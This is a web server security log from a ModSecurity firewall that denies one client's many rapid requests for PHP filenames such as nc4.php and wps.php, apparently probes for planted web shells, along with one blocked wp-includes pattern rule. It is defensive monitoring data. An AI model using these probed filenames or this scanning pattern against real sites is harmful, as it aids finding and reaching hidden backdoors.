[Thu Mar 26 17:00:36.879626 2026] [:error] [pid 31780:tid 31823] [client 68.221.186.27:46829] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "acT1tJJDwZsy5O4ZXEh4UQAAAgM"]
[Thu Mar 26 17:00:39.130179 2026] [:error] [pid 19818:tid 19821] [client 68.221.186.27:47345] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acT1t8zaSnm3d1BeM5XO9wAAAME"]
[Thu Mar 26 17:00:42.597013 2026] [:error] [pid 31780:tid 31841] [client 68.221.186.27:33167] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acT1upJDwZsy5O4ZXEh4VwAAAhQ"]
[Thu Mar 26 17:00:44.811019 2026] [:error] [pid 31778:tid 31811] [client 68.221.186.27:50944] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acT1vA3kybI2o-xasmDhegAAAdI"]
[Thu Mar 26 17:00:45.670010 2026] [:error] [pid 19711:tid 19772] [client 68.221.186.27:54261] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acT1vWj3l1y81GYfluSEmwAAAFc"]
[Thu Mar 26 17:00:47.244128 2026] [:error] [pid 31778:tid 31793] [client 68.221.186.27:11648] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nc4.php"] [unique_id "acT1vw3kybI2o-xasmDhfwAAAcA"]
[Thu Mar 26 17:00:49.520670 2026] [:error] [pid 19710:tid 19733] [client 68.221.186.27:10745] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nc4.php"] [unique_id "acT1wQVEWP8Ar68Njk7xZgAAAAs"]
[Thu Mar 26 17:00:50.160429 2026] [:error] [pid 19710:tid 19740] [client 68.221.186.27:2596] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nc4.php"] [unique_id "acT1wgVEWP8Ar68Njk7xZwAAABI"]
[Thu Mar 26 17:00:51.338720 2026] [:error] [pid 31778:tid 31794] [client 68.221.186.27:10743] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nc4.php"] [unique_id "acT1ww3kybI2o-xasmDhigAAAcE"]
[Thu Mar 26 17:00:53.127096 2026] [:error] [pid 31670:tid 31681] [client 68.221.186.27:29447] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "acT1xTXVthXxCnWjOTRNLAAAAUk"]
[Thu Mar 26 17:00:53.874499 2026] [:error] [pid 31780:tid 31844] [client 68.221.186.27:11649] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "acT1xZJDwZsy5O4ZXEh4WgAAAhc"]
[Thu Mar 26 17:00:55.200632 2026] [:error] [pid 31670:tid 31690] [client 68.221.186.27:10724] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "acT1xzXVthXxCnWjOTRNMQAAAVI"]
[Thu Mar 26 17:00:56.570781 2026] [:error] [pid 19710:tid 19734] [client 68.221.186.27:2577] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "acT1yAVEWP8Ar68Njk7xaAAAAAw"]
[Thu Mar 26 17:00:57.460137 2026] [:error] [pid 19710:tid 19745] [client 68.221.186.27:13685] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "acT1yQVEWP8Ar68Njk7xagAAABc"]
[Thu Mar 26 17:00:58.582511 2026] [:error] [pid 60829:tid 60839] [client 68.221.186.27:47322] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "acT1yvTdjHKeZokybaSmHAAAAQg"]
[Thu Mar 26 17:00:59.420013 2026] [:error] [pid 31670:tid 31682] [client 68.221.186.27:50966] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "acT1yzXVthXxCnWjOTRNNwAAAUo"]
[Thu Mar 26 17:01:15.137038 2026] [:error] [pid 31778:tid 31796] [client 68.221.186.27:29464] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin.php"] [unique_id "acT12w3kybI2o-xasmDhqwAAAcM"]
[Thu Mar 26 17:01:16.377649 2026] [:error] [pid 31670:tid 31675] [client 68.221.186.27:17974] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin.php"] [unique_id "acT13DXVthXxCnWjOTRNVQAAAUM"]
[Thu Mar 26 17:01:17.357449 2026] [:error] [pid 60829:tid 60852] [client 68.221.186.27:13646] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin.php"] [unique_id "acT13fTdjHKeZokybaSmJwAAARU"]
[Thu Mar 26 17:01:18.238122 2026] [:error] [pid 60829:tid 60848] [client 68.221.186.27:36191] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin.php"] [unique_id "acT13vTdjHKeZokybaSmKAAAARE"]
[Thu Mar 26 17:01:20.730797 2026] [:error] [pid 19818:tid 19833] [client 68.221.186.27:41510] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/24.php"] [unique_id "acT14MzaSnm3d1BeM5XPGwAAAM0"]
[Thu Mar 26 17:01:21.642698 2026] [:error] [pid 31670:tid 31695] [client 68.221.186.27:53156] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/24.php"] [unique_id "acT14TXVthXxCnWjOTRNVgAAAVc"]
[Thu Mar 26 17:01:25.134090 2026] [:error] [pid 60829:tid 60846] [client 68.221.186.27:50977] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/24.php"] [unique_id "acT15fTdjHKeZokybaSmNQAAAQ8"]
[Thu Mar 26 17:01:26.006025 2026] [:error] [pid 31780:tid 31832] [client 68.221.186.27:38772] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/24.php"] [unique_id "acT15pJDwZsy5O4ZXEh4dgAAAgs"]
[Thu Mar 26 17:01:29.444704 2026] [:error] [pid 60829:tid 60840] [client 68.221.186.27:53144] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "acT16fTdjHKeZokybaSmQQAAAQk"]
[Thu Mar 26 17:01:31.815406 2026] [:error] [pid 60829:tid 60843] [client 68.221.186.27:8035] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "acT16_TdjHKeZokybaSmRgAAAQw"]
[Thu Mar 26 17:01:33.248679 2026] [:error] [pid 19818:tid 19822] [client 68.221.186.27:36218] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "acT17czaSnm3d1BeM5XPKQAAAMI"]
[Thu Mar 26 17:01:34.830375 2026] [:error] [pid 19818:tid 19834] [client 68.221.186.27:53132] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "acT17szaSnm3d1BeM5XPLwAAAM4"]
[Thu Mar 26 17:01:40.125069 2026] [:error] [pid 19818:tid 19831] [client 68.221.186.27:19320] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "acT19MzaSnm3d1BeM5XPPgAAAMs"]
[Thu Mar 26 17:01:41.092411 2026] [:error] [pid 19818:tid 19823] [client 68.221.186.27:29450] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "acT19czaSnm3d1BeM5XPRgAAAMM"]
[Thu Mar 26 17:01:42.859270 2026] [:error] [pid 31778:tid 31797] [client 68.221.186.27:53123] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "acT19g3kybI2o-xasmDhwAAAAcQ"]
[Thu Mar 26 17:01:44.225872 2026] [:error] [pid 31778:tid 31817] [client 68.221.186.27:29474] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "acT1-A3kybI2o-xasmDhxgAAAdg"]
[Thu Mar 26 17:01:46.195293 2026] [:error] [pid 19818:tid 19835] [client 68.221.186.27:53139] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aifa.php"] [unique_id "acT1-szaSnm3d1BeM5XPUQAAAM8"]
[Thu Mar 26 17:01:47.057598 2026] [:error] [pid 60829:tid 60850] [client 68.221.186.27:19297] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aifa.php"] [unique_id "acT1-_TdjHKeZokybaSmVgAAARM"]
[Thu Mar 26 17:01:48.918020 2026] [:error] [pid 31780:tid 31836] [client 68.221.186.27:53136] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aifa.php"] [unique_id "acT1_JJDwZsy5O4ZXEh4gQAAAg8"]
[Thu Mar 26 17:01:49.612957 2026] [:error] [pid 31780:tid 31834] [client 68.221.186.27:13948] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aifa.php"] [unique_id "acT1_ZJDwZsy5O4ZXEh4gwAAAg0"]
[Thu Mar 26 17:01:51.076499 2026] [:error] [pid 31670:tid 31690] [client 68.221.186.27:8051] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/erty.php"] [unique_id "acT1_zXVthXxCnWjOTRNZAAAAVI"]
[Thu Mar 26 17:01:52.249628 2026] [:error] [pid 60829:tid 60842] [client 68.221.186.27:24156] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/erty.php"] [unique_id "acT2APTdjHKeZokybaSmWwAAAQs"]
[Thu Mar 26 17:01:53.651483 2026] [:error] [pid 60829:tid 60846] [client 68.221.186.27:20071] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/erty.php"] [unique_id "acT2AfTdjHKeZokybaSmXgAAAQ8"]
[Thu Mar 26 17:01:57.345976 2026] [:error] [pid 31780:tid 31831] [client 68.221.186.27:16195] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/erty.php"] [unique_id "acT2BZJDwZsy5O4ZXEh4lQAAAgo"]
[Thu Mar 26 17:01:58.993000 2026] [:error] [pid 60829:tid 60833] [client 68.221.186.27:53121] [client 68.221.186.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/app.php"] [unique_id "acT2BvTdjHKeZokybaSmZgAAAQI"]
[Thu Mar 26 17:02:00.029712 2026] [:error] [pid 31717:tid 31736] [client 68.221.186.27:36217] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aee.php"] [unique_id "acT2CL-SCF7YDISDX4_Q3AAAAY4"]
[Thu Mar 26 17:02:01.329765 2026] [:error] [pid 19710:tid 19727] [client 68.221.186.27:20053] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aee.php"] [unique_id "acT2CQVEWP8Ar68Njk7xiwAAAAU"]
[Thu Mar 26 17:02:01.989756 2026] [:error] [pid 31780:tid 31836] [client 68.221.186.27:43480] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aee.php"] [unique_id "acT2CZJDwZsy5O4ZXEh4ngAAAg8"]
[Thu Mar 26 17:02:02.735416 2026] [:error] [pid 31780:tid 31827] [client 68.221.186.27:11683] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aee.php"] [unique_id "acT2CpJDwZsy5O4ZXEh4qAAAAgc"]
[Thu Mar 26 17:02:04.739085 2026] [:error] [pid 31780:tid 31821] [client 68.221.186.27:19301] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "acT2DJJDwZsy5O4ZXEh4rQAAAgE"]
[Thu Mar 26 17:02:06.661103 2026] [:error] [pid 19818:tid 19841] [client 68.221.186.27:20075] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "acT2DszaSnm3d1BeM5XPcAAAANU"]
[Thu Mar 26 17:02:07.783038 2026] [:error] [pid 19818:tid 19821] [client 68.221.186.27:36160] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "acT2D8zaSnm3d1BeM5XPdgAAAME"]
[Thu Mar 26 17:02:09.499083 2026] [:error] [pid 31778:tid 31803] [client 68.221.186.27:25365] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "acT2EQ3kybI2o-xasmDh6QAAAco"]
[Thu Mar 26 17:02:10.676679 2026] [:error] [pid 31717:tid 31734] [client 68.221.186.27:14782] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "acT2Er-SCF7YDISDX4_Q4QAAAYw"]
[Thu Mar 26 17:02:11.429449 2026] [:error] [pid 31717:tid 31735] [client 68.221.186.27:41533] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "acT2E7-SCF7YDISDX4_Q5gAAAY0"]
[Thu Mar 26 17:02:27.732024 2026] [:error] [pid 31778:tid 31804] [client 68.221.186.27:50990] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "acT2Iw3kybI2o-xasmDiEQAAAcs"]
[Thu Mar 26 17:03:03.900236 2026] [:error] [pid 60829:tid 60836] [client 68.221.186.27:18553] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "acT2R_TdjHKeZokybaSmhgAAAQU"]
[Thu Mar 26 17:03:04.528676 2026] [:error] [pid 19710:tid 19725] [client 68.221.186.27:38138] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "acT2SAVEWP8Ar68Njk7xogAAAAM"]
[Thu Mar 26 17:03:05.542612 2026] [:error] [pid 31778:tid 31811] [client 68.221.186.27:24073] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "acT2SQ3kybI2o-xasmDiNAAAAdI"]
[Thu Mar 26 17:03:07.119100 2026] [:error] [pid 31780:tid 31822] [client 68.221.186.27:22130] [client 68.221.186.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "acT2S5JDwZsy5O4ZXEh4zgAAAgI"]
